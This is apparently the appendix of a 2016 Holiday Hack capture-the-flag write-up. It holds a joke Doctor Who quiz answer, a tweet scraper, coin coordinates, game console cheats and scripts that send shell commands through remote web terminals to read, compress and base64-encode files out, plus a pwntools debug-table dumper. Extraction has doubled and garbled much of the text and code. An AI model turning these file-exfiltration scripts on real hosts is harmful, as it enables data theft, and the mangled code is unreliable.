fix audio - Audacity > Effect > Change Tempo... Percent Change: 1093.8 fix audio - Audacity > Effect > Change Tempo... Percent Change: 1093.8 quote - "Father Christmas, Santa Claus. Or, as I've always known him, Jeff." quote - "Father Christmas, Santa Claus. Or, as I've always known him, Jeff." @
@ http://www.imdb.com/title/tt1672218/quotes?item=qt1395415http://www.imdb.com/title/tt1672218/quotes?item=qt1395415 original audio
original audio https://www.youtube.com/watch?v=sedD40sEb8M&t=1m18shttps://www.youtube.com/watch?v=sedD40sEb8M&t=1m18s from "Doctor Who - A Christmas Carol (2010)"
from "Doctor Who - A Christmas Carol (2010)" 10) Why had the villain abducted Santa?
10) Why had the villain abducted Santa? <Dr. Who> - The
<Dr. Who> - The answer: Do I look like answer: Do I look like I'm in my right mind? I'm I'm in my right mind? I'm a madman with a box.a madman with a box. <Dr. Who> - I have
<Dr. Who> - I have looked into the time vortex and looked into the time vortex and I have seen a universe in I have seen a universe in which the Starwhich the Star Wars Holiday Special was NEVER released. In that universe, 1978
Wars Holiday Special was NEVER released. In that universe, 1978 came and went as normal.came and went as normal. No one had to endure the
No one had to endure the misery of watching that abominable blight. People were happymisery of watching that abominable blight. People were happy there. It's a better life, I tell
there. It's a better life, I tell you, a better world than the scarred one you, a better world than the scarred one we endure here.we endure here. <Dr. Who> - Give me a world like that. Just once.
<Dr. Who> - Give me a world like that. Just once. <Dr. Who> - So I
<Dr. Who> - So I did what I had to do. did what I had to do. I knew that Santa's powerful North Pole WonderlandI knew that Santa's powerful North Pole Wonderland Magick could prevent the Star Wars Special from being
Magick could prevent the Star Wars Special from being released, if I could leverage thatreleased, if I could leverage that magick with my own abilities back in
magick with my own abilities back in 1978. But Jeff refused to come 1978. But Jeff refused to come with me, insisting on thewith me, insisting on the mad idea that it is better to maintain the integrity of the universe's
mad idea that it is better to maintain the integrity of the universe's timeline. So I had notimeline. So I had no choice - I had to kidnap him.
choice - I had to kidnap him. ...
Appendix
Appendix
Code listing -Code listing - t-santawclaus.jst-santawclaus.js #!/usr/bin/env python #!/usr/bin/env python # coding: utf-8 # coding: utf-8 -*-import sys import sys import codecs import codecs import json import json import datetime import datetime import tweepy import tweepy sys.stdout = codecs.getwriter("utf-8")(sys.stdout) sys.stdout = codecs.getwriter("utf-8")(sys.stdout) sys.stderr = codecs.getwriter("utf-8")(sys.stderr) sys.stderr = codecs.getwriter("utf-8")(sys.stderr) if __name__ == "__main__": if __name__ == "__main__": consumer_key = "<redacted>" consumer_key = "<redacted>" consumer_secret = "<redacted>" consumer_secret = "<redacted>" access_tok = "<redacted>" access_tok = "<redacted>" access_tok_secret = "<redacted>" access_tok_secret = "<redacted>"
auth = tweepy.OAuthHandler(consumer_key, consumer_secret) auth = tweepy.OAuthHandler(consumer_key, consumer_secret) auth.set_access_token(access_tok, access_tok_secret)
auth.set_access_token(access_tok, access_tok_secret) api = tweepy.API(auth)
api = tweepy.API(auth) screen_name = "
screen_name = "santawclaussantawclaus pg = 1
pg = 1
while True: while True:
tweets = api.user_timeline(screen_name=screen_name, count=200, tweets = api.user_timeline(screen_name=screen_name, count=200, page=pg)
page=pg)
if len(tweets) == 0: break if len(tweets) == 0: break for tweet in tweets:
for tweet in tweets:
print "%s\t%d\t%s"%(tweet.id_str, print "%s\t%d\t%s"%(tweet.id_str, (tweet.created_at-datetime.datetime(1970,1,1)).total_seconds(), (tweet.created_at-datetime.datetime(1970,1,1)).total_seconds(), tweet.text) tweet.text) pg += 1 pg += 1
Code listing - docker2016-exfil.js Code listing - docker2016-exfil.js
#!/usr/bin/env node #!/usr/bin/env node "use strict"; "use strict"; const fs = require("fs-extra"); const fs = require("fs-extra"); const path = require("path"); const path = require("path"); // [email protected] // [email protected] const io = require("socket.io-client"); const io = require("socket.io-client"); " "
const zlib = require("zlib"); const zlib = require("zlib"); let buf="", port, filepath; let buf="", port, filepath; // port = 60001; // conductor // port = 60001; // conductor // filepath = "$HOME/Train_Console"; // filepath = "$HOME/Train_Console"; // filepath = "$HOME/TrainHelper.txt"; // filepath = "$HOME/TrainHelper.txt"; // filepath = "$HOME/ActivateTrain"; // filepath = "$HOME/ActivateTrain"; // port = 60002; // scratchy; itchy // port = 60002; // scratchy; itchy // port = 60003; // port = 60003; // port = 60004; // elf // port = 60004; // elf // filepath = "$HOME/wumpus"; // filepath = "$HOME/wumpus"; port = 60005; port = 60005; if (filepath) { if (filepath) {
const filedir = path.dirname(filepath); const filedir = path.dirname(filepath); const filename = path.basename(filepath); const filename = path.basename(filepath);
const basename = path.basename(filename, path.extname(filename)); const basename = path.basename(filename, path.extname(filename)); }
}
if (!port) {process.exit(1);} if (!port) {process.exit(1);}
const loc = `https://docker2016.holidayhackchallenge.com:${port}`; const loc = `https://docker2016.holidayhackchallenge.com:${port}`; const socket = io(loc,
const socket = io(loc,
{path:"/wetty/socket.io",query:"param=undefined"}); {path:"/wetty/socket.io",query:"param=undefined"}); socket.on("connect", ()=>{ socket.on("connect", ()=>{ let cmds = []; let cmds = []; if (port === 60001) { if (port === 60001) { cmds = [ cmds = [ `HELP\r`, `!\r`, `HELP\r`, `!\r`,
`echo -n "#######" && cat -- ${filepath}|gzip|base64 -w0 && echo -n `echo -n "#######" && cat -- ${filepath}|gzip|base64 -w0 && echo -n "#######"\r`
"#######"\r` ];
]; ]; } else if (port === 60003) { } else if (port === 60003) { socket.emit("input",`egrep -r . $HOME/.doormat\r`); socket.emit("input",`egrep -r . $HOME/.doormat\r`); cmds = [ cmds = [ [ [ `echo -n "#######"`, `echo -n "#######"`,
`find $HOME/.doormat -type f -exec cat {} \\;|gzip|base64 -w0`, `find $HOME/.doormat -type f -exec cat {} \\;|gzip|base64 -w0`, `echo -n "#######"` `echo -n "#######"` ].join("&&") + `\r` ].join("&&") + `\r` ]; ];
// /home/elf/.doormat/. / /\/\\/Don't Look Here!/You are persistent, // /home/elf/.doormat/. / /\/\\/Don't Look Here!/You are persistent, aren't you?/'/key_for_the_door.txt: aren't you?/'/key_for_the_door.txt: // key: open_sesame // key: open_sesame } else if (port === 60004) { } else if (port === 60004) { cmds = [ cmds = [
`echo -n "#######" && cat -- ${filepath}|gzip|base64 -w0 && echo -n `echo -n "#######" && cat -- ${filepath}|gzip|base64 -w0 && echo -n "#######"\r` "#######"\r` ]; ]; } else if (port === 60005) { } else if (port === 60005) { } else {process.exit(1);} } else {process.exit(1);} cmds.forEach(cmd=>socket.emit("input",cmd)); cmds.forEach(cmd=>socket.emit("input",cmd)); }); });
let wg_step = 0; // port===60005 let wg_step = 0; // port===60005 const idx_all=(arr,val)=>{var const idx_all=(arr,val)=>{var indexes=[],i=-1;while((i=arr.indexOf(val,i+1))!=-1){indexes.push(i)}retur indexes=[],i=-1;while((i=arr.indexOf(val,i+1))!=-1){indexes.push(i)}retur n indexes} n indexes} socket.on("output", data=>{ socket.on("output", data=>{ buf += data.replace(/(\r\n?)/g,"").trim(); buf += data.replace(/(\r\n?)/g,"").trim(); if (port === 60005) { if (port === 60005) { const output = buf const output = buf
.replace(/\u0007{2}/g," ") // whitespace .replace(/\u0007{2}/g," ") // whitespace .replace(/\u0007/g,"") .replace(/\u0007/g,"") .replace(/[^\x20-\x7e]/g,"") // non-ascii .replace(/[^\x20-\x7e]/g,"") // non-ascii .replace(/^([^\[]*\[3;J\[H\[2J)/,"") // pre-amble .replace(/^([^\[]*\[3;J\[H\[2J)/,"") // pre-amble .trim(); .trim(); console.log(wg_step, output); console.log(wg_step, output);
if (wg_step===0 && output.endsWith("GREETINGS PROFESSOR FALKEN.")) { if (wg_step===0 && output.endsWith("GREETINGS PROFESSOR FALKEN.")) {
socket.emit("input", "Hello.\r"); socket.emit("input", "Hello.\r"); wg_step++; buf="";
wg_step++; buf="";
} else if (wg_step===1 && output.endsWith("HOW ARE YOU FEELING } else if (wg_step===1 && output.endsWith("HOW ARE YOU FEELING TODAY?")) {
socket.emit("input",
socket.emit("input", "I'm "I'm fine. fine. How How are are you?\r");you?\r"); wg_step++; buf="";
wg_step++; buf="";
} else if (wg_step===2 && output.endsWith("EXCELLENT, IT\'S BEEN A } else if (wg_step===2 && output.endsWith("EXCELLENT, IT\'S BEEN A LONG TIME. CAN YOU EXPLAIN THE REMOVAL OF YOUR USER ACCOUNT ON
LONG TIME. CAN YOU EXPLAIN THE REMOVAL OF YOUR USER ACCOUNT ON 6/23/73?")) {
6/23/73?")) {
socket.emit("input", "People sometimes make mistakes.\r"); socket.emit("input", "People sometimes make mistakes.\r"); wg_step++; buf="";
wg_step++; buf="";
} else if (wg_step===3 && output.endsWith("YES THEY DO. SHALL WE PLAY } else if (wg_step===3 && output.endsWith("YES THEY DO. SHALL WE PLAY A GAME?")) {
A GAME?")) {
socket.emit("input", "Love to. How about Global Thermonuclear socket.emit("input", "Love to. How about Global Thermonuclear War?\r");
War?\r");
wg_step++; buf=""; wg_step++; buf="";
} else if (wg_step===4 && output.endsWith("WOULDN'T YOU PREFER A GOOD } else if (wg_step===4 && output.endsWith("WOULDN'T YOU PREFER A GOOD GAME OF CHESS?")) {
GAME OF CHESS?")) {
socket.emit("input", "Later. Let's play Global Thermonuclear socket.emit("input", "Later. Let's play Global Thermonuclear War.\r");
War.\r");
wg_step++; buf=""; wg_step++; buf="";
} else if (wg_step===5 && output.endsWith("PLEASE CHOOSE ONE:")) { } else if (wg_step===5 && output.endsWith("PLEASE CHOOSE ONE:")) {
socket.emit("input", "2\r"); socket.emit("input", "2\r"); wg_step++; buf="";
wg_step++; buf="";
} else if (wg_step===6 && output.endsWith("PLEASE LIST PRIMARY } else if (wg_step===6 && output.endsWith("PLEASE LIST PRIMARY TARGETS BY CITY AND/OR COUNTRY NAME:")) {
TARGETS BY CITY AND/OR COUNTRY NAME:")) { socket.emit("input", "Las Vegas\r"); socket.emit("input", "Las Vegas\r"); wg_step++; buf="";
wg_step++; buf="";
} else if (wg_step===7 && output.endsWith("Press Enter To Continue")) } else if (wg_step===7 && output.endsWith("Press Enter To Continue")) {process.exit();}
{process.exit();} } else {
} else {
const patt = /#{7}([A-Za-z\d+/=]+)#{7}/; const patt = /#{7}([A-Za-z\d+/=]+)#{7}/; if (patt.test(buf)) { if (patt.test(buf)) { const m = buf.match(patt); const m = buf.match(patt); if (m) { if (m) {
const bin = zlib.gunzipSync(new Buffer(m[1],"base64")); const bin = zlib.gunzipSync(new Buffer(m[1],"base64")); console.log(bin.toString("hex")); // xxd -r -p console.log(bin.toString("hex")); // xxd -r -p // fs.writeFileSync("output", bin); // fs.writeFileSync("output", bin); } }
Code listing - docker2016-exfil.py Code listing - docker2016-exfil.py
#!/usr/bin/env python #!/usr/bin/env python # coding: utf-8 # coding: utf-8 -*-import re import re import sys import sys import base64 import base64 import zlib import zlib import binascii import binascii
from socketIO_client import SocketIO from socketIO_client import SocketIO port, filepath = 60004, "$HOME/wumpus" port, filepath = 60004, "$HOME/wumpus"
loc = "https://docker2016.holidayhackchallenge.com/wetty/socket.io" loc = "https://docker2016.holidayhackchallenge.com/wetty/socket.io" socketIO = SocketIO(loc, port, params={"param":"undefined"},
socketIO = SocketIO(loc, port, params={"param":"undefined"}, verify=False) verify=False) def on_connect(): def on_connect(): socketIO.emit("input", socketIO.emit("input",
"echo -n \"#######\" && cat -- %s|gzip|base64 -w0 && echo -n "echo -n \"#######\" && cat -- %s|gzip|base64 -w0 && echo -n \"#######\"\r"%filepath) \"#######\"\r"%filepath) buf = "" buf = "" def on_output(args): def on_output(args): global buf global buf buf += args buf += args m = re.search(r"#{7}([A-Za-z\d+/=]+)#{7}", buf) m = re.search(r"#{7}([A-Za-z\d+/=]+)#{7}", buf) if m: if m: data = m.group(1) data = m.group(1) data = base64.b64decode(data) data = base64.b64decode(data)
data = zlib.decompress(data, zlib.MAX_WBITS|16) data = zlib.decompress(data, zlib.MAX_WBITS|16) print binascii.hexlify(data) print binascii.hexlify(data) sys.exit() sys.exit() if __name__ == "__main__": if __name__ == "__main__": socketIO.on("connect", on_connect) socketIO.on("connect", on_connect) socketIO.on("output", on_output) socketIO.on("output", on_output) socketIO.wait() socketIO.wait()
Locations of the 20 NetWars coins Locations of the 20 NetWars coins
Table 1 - 20 NetWars coins Table 1 - 20 NetWars coins
No
No ImageImage XX Y Y Year Year
01 01 NW_COIN NW_COIN 34 34 228 228 19781978 02 02 NW_COIN NW_COIN 109 109 295 295 19781978 03 03 NW_COIN NW_COIN 157 157 102 102 19781978 04 04 NW_COIN NW_COIN 185 185 145 145 19781978 05 05 NW_COIN NW_COIN 214 214 59 59 19781978
06 06 NW_COIN_HALF NW_COIN_HALF 215 215 275 275 19781978 07 07 NW_COIN_ARMOR NW_COIN_ARMOR 266 266 86 86 19781978 08 08 NW_COIN_ROOF NW_COIN_ROOF 86 86 191 191 20162016 09 09 NW_COIN NW_COIN 117 117 252 252 20162016 10 10 NW_COIN NW_COIN 142 142 83 83 20162016 11 11 NW_COIN_SMALL_TREEHOUSE NW_COIN_SMALL_TREEHOUSE 161 161 184 184 20162016 12 12 NW_COIN NW_COIN 167 167 142 142 20162016 13 13 NW_COIN_COUCH NW_COIN_COUCH 167 167 221 221 20162016 14 14 NW_COIN_RACK NW_COIN_RACK 175 175 228 228 20162016 15 15 NW_COIN NW_COIN 187 187 61 61 20162016 16 16 NW_COIN_HALF NW_COIN_HALF 208 208 238 238 20162016 17 17 NW_COIN_TROUGH NW_COIN_TROUGH 232 232 229 229 20162016 18 18 NW_COIN NW_COIN 237 237 32 32 20162016 19 19 NW_COIN NW_COIN 243 243 152 152 20162016 20 20 NW_COIN_CRATE NW_COIN_CRATE 278 278 170 170 20162016 Code listing -
Code listing - screenshot.jsscreenshot.js
f=(x,y)=>{app.game.makeCharacterTeleportTo(app.game.player,x,y);node=docu f=(x,y)=>{app.game.makeCharacterTeleportTo(app.game.player,x,y);node=docu ment.getElementById("notifications");while(node.firstChild){node.removeCh ment.getElementById("notifications");while(node.firstChild){node.removeCh ild(node.firstChild);}app.game.cursorVisible=false;Object.entries(app.gam ild(node.firstChild);}app.game.cursorVisible=false;Object.entries(app.gam e.entities).filter(kv=>kv[1].kind==="PLAYER"&&kv[1].id!==app.game.playerI e.entities).filter(kv=>kv[1].kind==="PLAYER"&&kv[1].id!==app.game.playerI d).forEach(kv=>{kv[1].gridX=0;kv[1].gridY=0;});};app.game.player.year=197 d).forEach(kv=>{kv[1].gridX=0;kv[1].gridY=0;});};app.game.player.year=197 8/*2016*/;x=,y=;f(x,y); 8/*2016*/;x=,y=;f(x,y); Code listing -
Code listing - replace-nw-coin-spritreplace-nw-coin-sprite-w-pi-board.jse-w-pi-board.js
Object.keys(Types.Items).filter(k=>k.startsWith("NW_COIN")).forEach(k=>{[ Object.keys(Types.Items).filter(k=>k.startsWith("NW_COIN")).forEach(k=>{[ "sprite","json"].forEach(kk=>{Types.Items[k][kk]=Types.Items.PI_BOARD[kk] "sprite","json"].forEach(kk=>{Types.Items[k][kk]=Types.Items.PI_BOARD[kk]
Code listing
Code listing - - dungeon.northpolewdungeon.northpolewonderland.com-DT-dmp.py onderland.com-DT-dmp.py #!/usr/bin/env python #!/usr/bin/env python # coding: utf-8 # coding: utf-8 -*-import re import re import sys import sys import string import string import base64 import base64 import logging import logging
# sudo apt-get -y install python-pip python-openssl libssl-dev && sudo # sudo apt-get -y install python-pip python-openssl libssl-dev && sudo pip install -U pwntools
pip install -U pwntools from pwn import * from pwn import * context.log_level = logging.CRITICAL context.log_level = logging.CRITICAL delim_gdt = "GDT>" delim_gdt = "GDT>" def connect(): def connect(): # r = process("./dungeon") # r = process("./dungeon") r = remote("dungeon.northpolewonderland.com", 11111) r = remote("dungeon.northpolewonderland.com", 11111) r.recvuntil(">") r.recvuntil(">") r.sendline("GDT") r.sendline("GDT") r.recvuntil(delim_gdt) r.recvuntil(delim_gdt) return r return r if __name__ == "__main__": if __name__ == "__main__": r = connect() r = connect() r.sendline("DL") r.sendline("DL") m = re.search(r"M=(\d+)", r.recvuntil(delim_gdt)) m = re.search(r"M=(\d+)", r.recvuntil(delim_gdt)) if not m: sys.exit(1) if not m: sys.exit(1) lim = int(m.group(1)) lim = int(m.group(1)) for i in xrange(lim,-1,-1): for i in xrange(lim,-1,-1): try: try: r.sendline("DT") r.sendline("DT") r.recvuntil("Entry:") r.recvuntil("Entry:") r.sendline(str(i)) r.sendline(str(i)) msg = r.recvuntil(delim_gdt).strip() msg = r.recvuntil(delim_gdt).strip() if msg.endswith(delim_gdt): if msg.endswith(delim_gdt): msg = msg[:-len(delim_gdt)].strip() msg = msg[:-len(delim_gdt)].strip()
if msg and all(c in string.printable for c in msg): if msg and all(c in string.printable for c in msg):
print "[%d]: %s"%(i,msg) print "[%d]: %s"%(i,msg) except: except: r.close() r.close() r = connect() r = connect()